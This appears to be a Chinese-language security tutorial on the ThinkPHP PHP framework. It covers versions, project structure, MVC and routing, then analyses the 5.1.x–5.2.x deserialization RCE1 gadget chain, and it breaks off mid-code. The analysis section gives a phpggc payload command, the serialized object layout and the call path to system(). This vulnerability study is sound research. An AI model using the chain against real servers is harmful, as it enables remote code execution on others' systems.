ThinkPHP 框架安全

sky123

ThinkPHP 是中国开发者广泛使用的一款 开源 PHP 框架,由 TopThink 团队 开发,目标是让开发更快、更简单。它遵循 MVC(Model-View-Controller)设计模式,具有良好的代码组织、数据库操作封装、模板引擎等特性。

ThinkPHP 版本架构:

版本 状态 最低 PHP 说明
8.x 最新稳定,官方推荐 ≥ PHP 8.1 全面 PSR 标准、强类型、属性注解,统一配置系统,内置 FPM/Swow 双运行时支持。性能增强,适配现代 PHP 项目。
6.1.x 长期维护 (LTS) ≥ PHP 7.4 社区使用最广,插件教程丰富,架构清晰稳定,适合中大型项目和企业框架基础。
5.1/5.0 仅安全维护 ≥ PHP 5.6 老项目兼容性好,存在多起已知漏洞(如 RCE/LFI 等),不推荐用于新项目开发

ThinkPHP 的源码托管在 GitHub 上:

在分析时我们先把项目源码下载下来,然后通过 git 切换到对应的版本上。

1
2
3
4
5
6
7
8
9
# 克隆仓库
git clone https://github.com/top-think/framework.git thinkphp
cd thinkphp

# 查看有哪些版本标签
git tag

# 切换到某个版本(例如 ThinkPHP 5.0.24)
git checkout 5.0.24

环境基础

项目创建

ThinkPHP 自 5.1 起就全面 Composer 化,框架本体被拆分为多个组件,如 topthink/frameworktopthink/think-orm 等;版本号发布统一在 Packagist 上维护。

Packagist 是 Composer 的官方包仓库,所有 PHP 包(类库、框架、插件等)默认都从这里下载安装。

由于 ThinkPHP 的每个版本都可能使用不同的依赖、容器、事件系统,手动放源码无法还原环境差异。因此 ThinkPHP 官方推荐使用 Composer 来创建和管理 ThinkPHP 项目

我们可以通过下面这条命令创建一个指定版本的 ThinkPHP 项目。

1
composer create-project topthink/think=版本号 目录名

例如:

1
2
3
composer create-project topthink/think=5.0.23 tp5-test
composer create-project topthink/think=5.1.41 tp51-test
composer create-project topthink/think=6.0.* tp6-test

提示

Composer 默认会自动识别你的 PHP 版本,来判断是否支持该版本的 ThinkPHP。如果版本不满足,它会报错或降级。其中 ThinkPHP 的版本号可以通过 Composer 命令行查询:

1
composer show topthink/framework --all

目前支持的版本有:

1
versions : dev-master, 8.x-dev, v8.1.3, v8.1.2, v8.1.1, v8.1.0, v8.0.4, v8.0.3, v8.0.2, v8.0.1, v8.0.0, v8.0.0-beta, 6.1.x-dev, v6.1.5, v6.1.4, v6.1.3, v6.1.2, v6.1.1, v6.1.0, 6.0.x-dev, v6.0.16, v6.0.15, v6.0.14, v6.0.13, v6.0.12, v6.0.11, v6.0.10, v6.0.9, v6.0.8, v6.0.7, v6.0.6, v6.0.5, v6.0.4, v6.0.3, v6.0.2, v6.0.1, v6.0.0, v6.0.0-rc5, v6.0.0-rc4, v6.0.0-rc3, v6.0.0-rc2, v5.2-rc1, v5.2-beta.3, v5.2-beta.2, 5.1.x-dev, v5.1.42, v5.1.41, v5.1.40, v5.1.39, v5.1.38.1, v5.1.38, v5.1.37.1, v5.1.37, v5.1.36, v5.1.35, v5.1.34, v5.1.33, v5.1.32, v5.1.31, v5.1.30, v5.1.29, v5.1.28, v5.1.27, v5.1.26, v5.1.25, v5.1.24, v5.1.23, v5.1.22, v5.1.21, v5.1.20, v5.1.19, v5.1.18, v5.1.17, v5.1.16, v5.1.15, v5.1.14, v5.1.13, v5.1.12, v5.1.11, v5.1.10, v5.1.9, v5.1.8, v5.1.7, v5.1.6, v5.1.5, v5.1.4, v5.1.3, v5.1.2, v5.1.1, v5.1.0, v5.1-rc.3, v5.1-rc.2, v5.1-rc.1, v5.1-beta.1, v5.0.25, v5.0.24, v5.0.23, v5.0.22, v5.0.21, v5.0.20, v5.0.19, v5.0.18, v5.0.17, v5.0.16, v5.0.15, v5.0.14, v5.0.13, v5.0.12, v5.0.11, v5.0.10, v5.0.9, v5.0.8, v5.0.7, v5.0.6, v5.0.5, v5.0.4, v5.0.3, v5.0.2, v5.0.1, 5.0, 5.0-rc4, 5.0-rc3, 5.0-rc2, 5.0-rc1

另外例如 topthink/think=5.0.23 表示的是这个「项目模板包」的版本号是 5.0.23,而 ThinkPHP 的版本号指的是 topthink/framework(也就是 ThinkPHP 框架核心代码)的版本号,这个并没有直接指定。我们可以通过下面这条命令查看 topthink/framework 的实际版本。

1
composer show topthink/framework

也就是说下面这条命令表示“我要用一个符合 ThinkPHP 5.0.23 项目结构的模板创建项目”。

1
composer create-project topthink/think=5.0.23 tp5-test

而它依赖的 topthink/framework 版本是由这个模板的 composer.json 决定。

1
"topthink/framework": "5.0.*"

这个实际上也可以通过下面这条命令查询:

1
composer show topthink/think 5.0.24 --all

所以实际安装的是最新的 5.0.x,也就是 topthink/framework@5.0.25

如果我们想将 topthink/framework 降级到指定版本需要运行下面这条命令:

1
composer require topthink/framework=5.0.23

这条命令会将框架降级到 5.0.23,适用于在 5.0.* 这个小版本范围内自由切换版本(如 5.0.22、5.0.25 等),便于测试历史行为或漏洞验证。

项目结构

ThinkPHP5

一个基于 ThinkPHP5 的典型 Web 项目如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
tp5-test/                 ← ★ 整个项目根目录
├── application/ ← ★ 业务代码根目录(MVC 与配置)
│ ├── index/ ← 默认模块(module)
│ │ └── controller/
│ │ └── Index.php ← 示例控制器(默认首页)
│ ├── common.php ← 公共函数(系统自动加载)
│ ├── command.php ← CLI 自定义命令注册
│ ├── config.php ← 应用级配置(可覆盖框架默认配置)
│ ├── database.php ← 数据库连接配置
│ ├── route.php ← 路由规则(闭包或静态路由)
│ └── tags.php ← 事件 / 标签扩展

├── public/ ← ★ Web 服务器根目录(部署时仅暴露此层)
│ ├── index.php ← 项目入口文件(所有 HTTP 请求从这里进入)
│ ├── router.php ← PHP 内置服务器路由脚本(开发用)
│ ├── favicon.ico
│ ├── robots.txt
│ └── static/ ← 前端静态资源(JS / CSS / 图片)

├── thinkphp/ ← ★ 框架核心源码(不要修改)
│ ├── start.php ← 框架启动器,入口文件最终 require 这里
│ ├── base.php / helper.php ← 常量 & 全局助手函数(如 dump())
│ └── library/think/… ← App、Route、Model 等所有核心类

├── vendor/ ← ★ Composer 依赖目录
│ ├── autoload.php ← Composer 自动加载入口
│ ├── composer/ ← Composer 运行期文件
│ └── topthink/think-installer/ ← ThinkPHP 专用安装插件(生成默认结构)
│ └── … ← 插件源码,不需手动修改

├── extend/ ← 第三方或自定义扩展库(可选,自定义加载)

├── runtime/ ← 运行时生成:日志、缓存、模板编译等

├── composer.json ← ★ 依赖声明与自动加载规则
├── composer.lock ← 锁定实际安装版本(保证环境一致)
├── think ← 命令行入口脚本(如 `php think run`)
├── build.php ← 可选:快速生成模块目录的脚本
├── CHANGELOG.md ← 框架更新日志
├── LICENSE.txt ← 开源许可证
└── README.md ← 项目/框架使用说明

ThinkPHP6

ThinkPHP 6 相比 ThinkPHP 5 项目结构做了不少 精简与现代化 的调整。一个基于 ThinkPHP6 的典型 Web 项目如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
tp6-test/                 ← ★ 整个项目根目录
├── app/ ← ★ 应用代码目录(你写的业务逻辑)
│ ├── controller/ ← 控制器目录 (C),URL 路由默认指向这里
│ │ └── Index.php ← 示例控制器,默认访问 `/` 会走这里
│ ├── AppService.php ← 应用服务类,可注册服务绑定
│ ├── BaseController.php ← 控制器基类(定义通用逻辑)
│ ├── ExceptionHandle.php ← 全局异常处理类
│ ├── Request.php ← 自定义请求类(可扩展)
│ ├── common.php ← 应用公共函数,系统会自动加载
│ ├── event.php ← 应用事件定义(事件/监听器绑定)
│ ├── middleware.php ← 中间件注册表
│ ├── provider.php ← 服务提供者注册
│ └── service.php ← 容器服务绑定

├── public/ ← ★ Web 服务器根目录(部署时只暴露这一层)
│ ├── index.php ← 应用入口文件,所有 HTTP 请求从这里进来
│ ├── favicon.ico ← 网页小图标
│ ├── robots.txt ← 搜索引擎爬虫控制文件
│ ├── router.php ← 内置服务器时用于模拟路由(开发用)
│ └── static/ ← 静态资源目录(JS/CSS/图片等)

├── config/ ← ★ 应用配置目录(集中管理)
│ ├── app.php ← 应用基本设置
│ ├── cache.php ← 缓存设置
│ ├── console.php ← CLI 命令设置
│ ├── cookie.php ← Cookie 配置
│ ├── database.php ← 数据库连接设置
│ ├── filesystem.php ← 本地/云存储设置
│ ├── lang.php ← 多语言配置
│ ├── log.php ← 日志通道设置
│ ├── middleware.php ← 全局中间件配置
│ ├── route.php ← 路由配置
│ ├── session.php ← 会话 Session 设置
│ ├── trace.php ← Trace 调试配置
│ └── view.php ← 模板渲染设置

├── route/ ← 路由定义(推荐写在这里而非代码里)
│ └── app.php ← 默认路由定义文件(支持闭包/控制器映射等)

├── runtime/ ← 运行期文件(缓存、日志、编译模板等自动生成)

├── extend/ ← 自定义扩展类目录(可类比 “lib/”)

├── vendor/ ← ★ Composer 安装的依赖目录(含 thinkphp 框架本体)
│ ├── topthink/ ← ThinkPHP 框架核心源码(think-orm、framework 等)
│ ├── symfony/ ← Symfony 的组件(如 var-dumper)
│ ├── psr/ ← PSR 规范接口(Logger, Container 等)
│ ├── autoload.php ← 自动加载入口
│ └── ... ← 其他库(由 composer 安装生成)

├── think ← ThinkPHP 命令行工具(用于 `php think`)

├── composer.json ← ★ 项目依赖声明文件,执行 `composer install` 使用
├── composer.lock ← 锁定依赖的具体版本(保证环境一致)
├── LICENSE.txt ← 项目开源许可证
└── README.md ← 项目说明文档

主要的变化有:

  • 应用结构变化:
    • TP5 默认启用多模块(模块 = 子应用),每个模块是一个 MVC 单元,位于 application/模块名/ 下(如 index/admin/)。
    • TP6/TP8 默认是单一应用结构,所有控制器、模型等放在 app/ 目录下。如果需要多模块(多应用模式),需要手动在配置中启用app.multi_app = true),并手动创建子目录如 app/index/app/admin/
  • 框架源码位置变化:
    • TP5 的框架源码在 thinkphp/ 目录,是项目结构的一部分。
    • TP6/TP8 的框架核心被完全 Composer 化,源码位于 vendor/topthink/framework/src/think/ 中。
      这符合现代 Composer 包管理规范,**thinkphp/ 目录不再存在**。
  • 配置文件组织变化:
    • TP5 的配置分布在 application/ 根下多个文件中(如 config.phpdatabase.php)。
    • TP6/TP8 把所有配置统一集中到 config/ 目录中,按功能拆分多个文件(如 config/app.phpconfig/database.phpconfig/session.php)。配置加载方式也更加标准化和可扩展。

框架使用

ThinkPHP 是一个基于多模块 + MVC 架构模式的 PHP 框架,强调结构分离、路由映射和快速开发。

官方文档:

MVC 架构

MVC 架构是 ThinkPHP 的基础架构设计,强调职责分离、解耦合、协同开发。具体体现在 application 目录下。通常,application 目录下的同一个模块会分为 modelviewcontroller 三个目录,分别对应 MVC 架构的三个组成部分。在这一架构中,控制器不仅仅是“中介者”,它还负责接收用户请求、验证数据、调度业务逻辑、决定展示视图。

组成 位置(默认) 作用说明
Model application/[模块]/model/ 数据操作层(数据库 CURD、逻辑封装)
View application/[模块]/view/ 页面展示层(HTML模板、标签)
Controller application/[模块]/controller/ 业务控制层(请求处理、业务调度)

例如对于 index 模块,目录结构如下。

1
2
3
4
5
6
7
application/
├── index/ ← 默认模块
│ ├── controller/ ← 控制器
│ ├── model/ ← 模型(可选)
│ ├── view/ ← 视图
├── common.php ← 公共函数文件
├── route.php ← 路由定义(可选)

Controller:控制器层(业务流程控制)

控制器层负责接收请求(参数),验证参数,调用业务逻辑(模型)并最终决定渲染哪一个视图,或返回 JSON 响应。

例如 application/index/controller/User.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
// 设置当前类的命名空间,对应目录结构:application/index/controller/
namespace application\index\controller;

// 引入 ThinkPHP 的控制器基类,提供模板渲染、跳转提示等功能
use think\Controller;

// 引入模型类 User,位于 application/index/model/User.php
// 注意此处的 User 是模型类,不是当前控制器本身
use application\index\model\User;

class User extends Controller
{
// ===================== 用户列表 =====================
public function index() {
// User::all() 是模型 User 继承自 think\Model 的静态方法
// 用于查询 user 表的所有数据,返回一个模型集合(Collection)
// 注意:这里的 User 是模型类,而不是当前控制器类,因为上面 use 语句导入了模型
$users = User::all();

// 渲染模板:application/index/view/user/index.html
// 并传入变量 $users 到模板中(可用 {$users} 访问)
return $this->fetch('index', ['users' => $users]);
}

// ===================== 添加用户表单页面 =====================
public function create() {
// 渲染模板 create.html(路径同上)
return $this->fetch('create');
}

// ===================== 提交表单并保存用户 =====================
public function save() {
// 获取所有 POST 提交的字段(默认返回数组)
// input('post.') 是 TP5 的全局助手函数,获取 POST 参数
$data = input('post.');

// 使用自动验证(ThinkPHP5 推荐方式)
// validate('index/User') 会自动加载 application/index/validate/User.php
$validate = validate('index/User');
if (!$validate->check($data)) {
// 如果验证失败,返回错误提示并跳转回前页
return $this->error($validate->getError());
}

// 实例化模型并写入数据库(等价于 INSERT)
// 注意:可以用 User::create($data),这里只是写法不同,含义一致
$user = new User($data);
$user->save();

// 写入成功后跳转到用户列表页,并显示成功提示
return $this->success('添加成功', url('user/index'));
}

// ===================== 删除用户 =====================
public function delete($id) {
// 先判断 id 合法性(防止非法注入)
if (!is_numeric($id)) {
return $this->error('参数非法');
}

// User::destroy($id) 是框架提供的快捷删除方法,主键删除
User::destroy($id);

// 删除后跳转回用户列表
return $this->success('删除成功', url('user/index'));
}
}

Model:模型层(数据访问与封装)

在 ThinkPHP 中,模型(Model)是数据库的面向对象封装,每一个模型类通常对应一张数据库表,它提供了数据表结构的映射,字段的类型转换,数据验证、访问、修改等。模型层本质上是对增删改查等操作的封装,因此你可以像操作对象一样去操作数据库。

在 ThinkPHP 中,模型层的对象需要继承于 think\Modelthink\Model 是 ThinkPHP 的核心模型基类,内置了很多模型层常用的功能,如:

  • 数据库 CURD 方法(getallsavedestroy 等)
  • 类型转换($type 属性)
  • 自动时间戳写入($autoWriteTimestamp
  • 访问器与修改器(getXxxAttr() / setXxxAttr()
  • 事件(beforeInsert、afterDelete 等)

而我们在编写模型层代码的时候实际上就是根据业务需求继承填 think\Model 类并充的字段以及重写方法。

例如下面的 application/index/model/User.php 针对的是数据库中的 user 表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
// 设置该类的命名空间,必须与目录结构对应:application/index/model
namespace application\index\model;

// 引入 ThinkPHP 框架的模型基类(ORM 操作的核心)
use think\Model;

// 定义 User 模型类,用于操作数据库中的 user 表
class User extends Model
{
/**
* 自动写入时间戳字段
* - 设置为 'datetime',表示写入为 Y-m-d H:i:s 格式
* - 该功能会自动维护 create_time 和 update_time 两个字段(如果你表中有)
* - 实际插入数据时不需要你手动设置这两个字段
*/
protected $autoWriteTimestamp = 'datetime';

/**
* 类型转换设置
* - 当从数据库中查询数据后,框架会自动将这些字段转换为指定的类型
* - 避免类型错误,例如数据库返回字符串而你期望使用整数
*/
protected $type = [
'id' => 'integer', // 自动转换 id 字段为整数
'name' => 'string', // 明确 name 字段为字符串
];

/**
* 字段访问器(getNameAttr)
* - 每次通过 $user->name 获取 name 字段时,都会自动调用这个方法
* - 用于“格式化显示”的场景,比如这里将用户名统一变成大写
* - 注意命名规则:get + 字段名首字母大写 + Attr
*/
public function getNameAttr($value) {
return strtoupper($value);
}

/**
* 字段修改器(setNameAttr)
* - 每次给 $user->name 赋值或通过 create/save 写入数据时,都会调用这个方法
* - 用于“格式化存储”的场景,比如这里自动去除前后空格
* - 命名规则:set + 字段名首字母大写 + Attr
*/
public function setNameAttr($value) {
return trim($value);
}
}

在 ThinkPHP 5 中,模型类默认会自动映射到数据库中的某张表,这个映射是基于约定进行的。默认映射规则如为:

  • 类名去掉命名空间部分
  • 将驼峰命名转换为下划线风格
  • 转为小写
  • 添加数据库配置中的前缀(如 tp_)

例如:

模型类名 默认对应表名
User tp_user
UserInfo tp_user_info
OrderDetailItem tp_order_detail_item

其中假设你的数据库配置中定义了前缀 tp_

1
2
// config/database.php
'prefix' => 'tp_',

当然如果你想手动指定模型对应的表名,可以用以下方式:

  • 使用 $name 属性(逻辑表名,依然会加前缀)

    1
    2
    3
    4
    class User extends Model
    {
    protected $name = 'member'; // 最终映射到 tp_member 表(受 prefix 影响)
    }
  • 使用 $table 属性(绝对表名,不加前缀)

    1
    2
    3
    4
    class User extends Model
    {
    protected $table = 'custom_user_table'; // 直接使用完整表名
    }

View:视图层(页面展示)

在 ThinkPHP 中,视图层负责将数据以 HTML 形式展现给用户。当你在控制器中调用:

1
return $this->fetch(); // 或者 $this->fetch('index')

框架会根据以下默认约定路径规则去查找视图文件:

1
2
3
4
5
application/
└── [模块名]/
└── view/
└── [控制器名(小写)]/
└── [操作方法名].html

例如:

1
2
3
4
5
6
application/
└── index/
└── view/
└── user/
├── index.html ← 对应 User 控制器的 index() 方法
├── create.html ← 对应 User 控制器的 create() 方法

框架根据控制器名 + 方法名来自动匹配视图文件。

  • User::index() → 渲染 view/user/index.html
  • User::create() → 渲染 view/user/create.html

ThinkPHP 使用的是 ThinkTemplate 模板引擎,支持变量输出、条件语句、循环语句、URL 生成等,语法清晰易读,适合快速开发。

视图渲染由控制器完成,使用 $this->fetch() 方法:

1
return $this->fetch('index', ['users' => $users]);
  • 第一个参数是模板文件名(省略 .html
  • 第二个参数是传递给模板的变量数组

你可以在模板中使用 {$users} 来访问传入的数据。常见语法有:

功能 语法示例
变量输出 {$user.name}
条件判断 {if $user.name == 'admin'}...{/if}
循环输出 {volist name="users" id="user"}...{/volist}
URL 生成 {:url('user/delete', ['id' => $user.id])}
模板继承 {extend name="layout"}
模板块定义 {block name="title"}标题{/block}

多模块模式

多模块模式是指 ThinkPHP 将应用划分为多个“模块”,每个模块具备完整的 MVC 结构,独立开发和部署。这样可以支持项目复杂性拆分、职责隔离、团队协作,以及每个子系统的独立性。多个模块之间完全解耦,可以在开发过程中减少冲突,提升代码的可重用性。每个模块可以有独立的配置,例如数据库连接、缓存设置等。

例如下面这个目录结构中定义了三个模块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
application/              ← 前台展示(用户访问的网站页面)
├── index/
│ ├── controller/ ← 控制器类,如 Index.php
│ ├── model/ ← 模型类,如 User.php
│ └── view/ ← 模板视图文件
├── admin/ ← 后台管理(管理员操作系统)
│ ├── controller/ ← 后台控制器,如 Dashboard.php
│ ├── model/
│ └── view/
├── api/ ← 对外提供的接口服务(如 APP 接口)
│ ├── controller/ ← API 控制器,如 User.php
│ └── model/
├── common.php ← 公共函数
├── config.php ← 全局配置
└── route.php ← 路由定义

路由访问形式

多模块 + MVC 模式下,ThinkPHP 默认的 URL 路由格式如下,这个 URL 路由格式实际上是 ThinkPHP 遵循的“约定优于配置”设计思想的体现。

1
http://域名/模块/控制器/操作

默认情况下,框架根据 URL 解析出模块名、控制器名和方法名,自动映射到 application/ 目录下对应的位置:

  • /模块:框架会根据 URL 中的模块名去 application/模块名/ 目录查找。
  • /控制器:框架会根据控制器名去 controller/控制器名.php 查找类文件,类名首字母大写。
  • /操作(方法):框架会调用控制器(对应类文件)中的方法,方法名需要与 URL 中的操作名一致。

例如:

  • http://localhost/index/index/indexapplication/index/controller/Index.php::index()
  • http://localhost/admin/user/loginapplication/admin/controller/User.php::login()
  • http://localhost/api/user/infoapplication/api/controller/User.php::info()

默认路由规则由框架自动解析,但你可以在 route.php 中定义自定义路由规则,将 URL 映射到不同的控制器和方法,实现路由美化、RESTful 路由等。这样可以对默认的路由行为进行精细控制。

注意

在 PhpStudy 中将网站的根目录修改为 ThinkPHP 的 public 目录是部署的标准做法,但如果没有手动配置伪静态,PhpStudy 默认会覆盖 public/.htaccess 文件为空文件。这将导致 Apache 无法进行 URL 重写,进而使 ThinkPHP 的默认路由失效(如 /index/index/index 会直接返回 404)。

即使你恢复了 ThinkPHP 默认的 .htaccess 文件,其内容如下:

1
2
3
4
5
6
7
8
<IfModule mod_rewrite.c>
Options +FollowSymlinks -Multiviews
RewriteEngine On

RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L]
</IfModule>

这个配置采用的是 PATH_INFO 模式,即希望 Apache 将 index.php/模块/控制器/操作/模块/控制器/操作 自动作为 PATH_INFO 传递给 PHP。但这依赖于服务器环境(Apache + PHP-FPM 或 CGI)是否启用了对 PATH_INFO 的支持。

在 PhpStudy 的默认环境中,往往并未启用 AcceptPathInfo 或 PHP 的 cgi.fix_pathinfo 配置不兼容,因此该写法虽然是 ThinkPHP 默认提供的,却会导致 URL 无法正确解析(框架无法获取到 PATH_INFO)。

为了解决这个问题,我们建议改用 兼容模式.htaccess 重写规则:

1
2
3
4
5
6
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php?s=$1 [QSA,PT,L]
</IfModule>

该规则通过 GET 参数 s 传递 URL 信息,例如访问 /index/index/index 会被重写为:

1
index.php?s=index/index/index

ThinkPHP 内部会自动读取 $_GET['s'] 并将其作为 pathinfo 进行解析。这种方式属于 ThinkPHP 支持的 URL 兼容模式,从 TP3 到 TP5.2 都有内置兼容逻辑,对服务器环境几乎没有要求,是最通用、最稳定的解决方案

route.php 是 ThinkPHP 中定义路由规则的文件,位于 application/ 目录下,主要用于进行 URL 的映射、重写和自定义。默认情况下,ThinkPHP 自动加载该文件,并根据文件中的配置来解析路由规则。

route.php 中的规则用于将 URL 映射到具体的 控制器方法。例如,你可以将 http://localhost/login 映射到 application/admin/controller/User.php 中的 login() 方法。

1
2
3
4
use think\Route;

// 映射 /login 到 Admin 控制器的 login 方法
Route::get('login', 'admin/user/login');

另外 route.php 还支持其他多种路由配置模式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
use think\Route;

// 简单的路由映射
// 映射 /login 到 admin/user/login 方法
// 访问 http://localhost/login 将会调用 application/admin/controller/User.php 的 login() 方法。
// 这里使用了 GET 请求方式,如果需要其他请求类型,可以使用 `Route::post()` 或 `Route::put()` 等方法。
Route::get('login', 'admin/user/login');

// 动态路由(带参数)
// 访问 http://localhost/user/42 会将 42 作为参数传递给 show() 方法。
// 映射的规则是 /user/:id 到 api/user/show 方法,id 将传递到 show($id) 方法中。
Route::get('user/:id', 'api/user/show');

// RESTful 路由(适用于 CRUD)
// 自动生成常见的 CRUD 路由:
// GET /user → 显示用户列表(index())
// POST /user → 创建新用户(create())
// GET /user/:id → 获取指定用户(read($id))
// PUT /user/:id → 更新指定用户(update($id))
// DELETE /user/:id → 删除指定用户(delete($id))
Route::resource('user', 'api/user');

// 路由分组
// 路由分组允许你为一组路由定义统一的前缀或中间件。
// 例如,所有的路由都以 /admin 开头。访问 /admin/dashboard 会映射到 application/admin/controller/Dashboard.php 的 index() 方法。
// 访问 /admin/login 会映射到 application/admin/controller/User.php 的 login() 方法。
Route::group('admin', function () {
Route::get('dashboard', 'admin/dashboard/index'); // 后台首页
Route::get('login', 'admin/user/login'); // 后台登录
});

// 路由参数匹配规则
// 这条路由规则将限制 id 参数为数字。访问 /user/42 将会调用 api/user/show 方法并传递 42 作为参数。
// 访问 /user/abc 将会匹配失败,因为 abc 不是数字。
Route::get('user/:id', 'api/user/show')->pattern(['id' => '\d+']);

提示

ThinkPHP 的中路径参数是 URL 路径中的一部分,通过路由规则中的 :变量名 来定义。例如下面这个例子:

1
2
3
4
5
6
Route::get('user/:id/:name', 'index/user/profile');

public function profile($id, $name)
{
echo "$id, $name";
}

路由定义中的 :id:name自动匹配并注入到函数参数中路径参数独有的特性),因此我们不需要通过 input 来获取参数。

另外路径参数默认是字符串类型,不会自动进行强制类型转换。如果需要限制传递的参数类型则需要使用 pattern() 限制。

1
Route::get('user/:id', 'index/user/show')->pattern(['id' => '\d+']);

但这只是“限制格式”,不等于类型转换,控制器中仍需 (int)$id 或用 /d 过滤。

框架分析

框架结构

源码的目录结构大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
thinkphp/
├── base.php ★ 极简启动器:常量、自动加载、助手函数
├── start.php ★ 正式启动器:实例化 App 并执行 run()
├── helper.php 通用助手函数(url(), dump() 等)
├── convention.php 框架默认配置
├── lang/zh-cn.php 框架内置中文语言包
└── library/
└── think/ ★ 所有核心类都在这里
├── App.php
├── Request.php
├── Response.php
├── Route.php
├── Controller.php
├── Model.php
├── Db.php
├── Validate.php
├── ...
├── cache/ 缓存子系统
├── config/ 配置文件解析
├── console/ CLI 命令框架
├── db/ ORM / 查询构建器
├── debug/ 调试/Trace 面板
├── exception/ 框架级异常类型
├── facade/ 门面类(静态代理)
├── model/ ORM 关联、Pivot、Trait 等
├── process/ 进程&子进程封装(pipes/Windows.php*)
├── route/ 路由调度实现
├── session/ Session 驱动
├── template/ 模板引擎
├── validate/ 验证规则
└── view/ 视图库

框架启动

路由分发

远程代码执行

SQL 注入

反序列化

RCE1(影响 5.1.x - 5.2.x)

基本信息

  • 影响范围 :5.1.x - 5.2.x

  • 生成命令

    1
    phpggc ThinkPHP/RCE1 system id  -b
  • 反序列化对象

    TPRCE1

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    think\process\pipes\Windows Object
    (
    [files:think\process\pipes\Windows:private] => Array
    (
    [0] => think\model\Pivot Object
    (
    [data:think\Model:private] => Array
    (
    [smi1e] => id
    )

    [withAttr:think\Model:private] => Array
    (
    [smi1e] => system
    )

    )

    )

    )
  • 反序列化调用链

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    think\process\pipes\Windows->__destruct()
    └── $this->removeFiles()
    └── foreach ($this->files as $filename)
    └── file_exists($filename) // ✅ 需要构造:$this->files = [Pivot对象]

    think\model\concern\Conversion->__toString()
    └── $this->toJson()
    └── $this->toArray()
    └── $this->getAttr($key) // ✅ 需要构造:
    // $this->visible = null(确保走默认分支)
    // $this->data = ['smi1e' => 'id'] (任意键值,控制 $key)
    // $this->withAttr = ['smi1e' => 'system'](控制执行函数)

    think\model\concern\Attribute->getAttr()
    └── $value = $this->getData($key) // 从 $this->data[$key] 获取值(如 'id')
    └── $fieldName = Loader::parseName($key) // 转为下划线字段名('smi1e' -> 'smi1e')
    └── $closure = $this->withAttr[$fieldName]// 取出 system / 匿名函数
    └── $closure($value, $this->data) // ✅ 最终执行点,system("id", [...])

调用链分析

think\process\pipes\Windows 类的 __destruct 函数调用到自身的 removeFiles 函数。

1
2
3
4
5
public function __destruct()
{
$this->close();
$this->removeFiles(); // 👈 调用 Windows::removeFiles
}

think\process\pipes\Windows::removeFiles 函数会对 $this->files 数组中的项调用 file_exists 函数。 file_exists 函数的参数应该是字符串类型,因此该函数内部会触发参数的 __toString 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
/**
* 删除临时文件
*/
private function removeFiles()
{
// $this->files 数组中存放一个 think\model\Pivot 对象
foreach ($this->files as $filename) {
if (file_exists($filename)) { // 👈 触发 Conversion::__toString 魔术方法
@unlink($filename);
}
}
$this->files = [];
}

提示

Windows::removeFiles 之前调用的 Windows::close 函数会遍历 $this->fileHandles 然后调用 fclose 函数释放资源,我们只需要将 $this->fileHandles 设置为空就不会影响到我们的利用流程。

1
2
3
4
5
6
7
8
9
10
11
/**
* {@inheritdoc}
*/
public function close()
{
parent::close();
foreach ($this->fileHandles as $handle) {
fclose($handle);
}
$this->fileHandles = [];
}

我们可以在 $this->files 数组中存放一个 think\model\Pivot 对象。

由于 Pivot 通过继承抽象类 ModelModel 使用了 think\model\concern\Conversionthink\model\concern\Attribute 这两个 trait,从而获得了这些方法:

  • Pivot->__toStringConversion::__toString

  • Pivot->getAttrAttribute::getAttr

pivot

因此前面 Windows::removeFiles 调用的 file_exists 触发了 $filename 也就是 Pivot__toString 方法。从而会有 Conversion::__toString → Conversion::toJson → Conversion::toArray 调用链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function __toString()
{
return $this->toJson();
}

/**
* 转换当前模型对象为JSON字符串
* @access public
* @param integer $options json参数
* @return string
*/
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

Conversion::toArray 方法中,我们通过设置 $this->visible = null$this->data 不为空就可以调用到 Attribute::getAttr 方法,并且传入的参数是 $this->data 中的一个键。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/**
* 转换当前模型对象为数组
* @access public
* @return array
*/
public function toArray()
{
$hasVisible = false;

// 为了确保 $hasVisible 为 false 不能进入这个循环,因此 $this->visible 为空
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
// [...]
$hasVisible = true;
// [...]
}
}

// [...]

// 合并关联数据
$data = array_merge($this->data, $this->relation);

foreach ($data as $key => $val) {
// [...]
elseif (!isset($this->hidden[$key]) && !$hasVisible) {
// 进这个分支调用 Attribute::getAttr 方法
$item[$key] = $this->getAttr($key);
}
}

// [...]
}

Attribute 的函数会调用 $closure 函数变量,并且传入参数 $value

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/**
* 获取器 获取数据对象的值
* @access public
* @param string $name 名称
* @param array $item 数据
* @return mixed
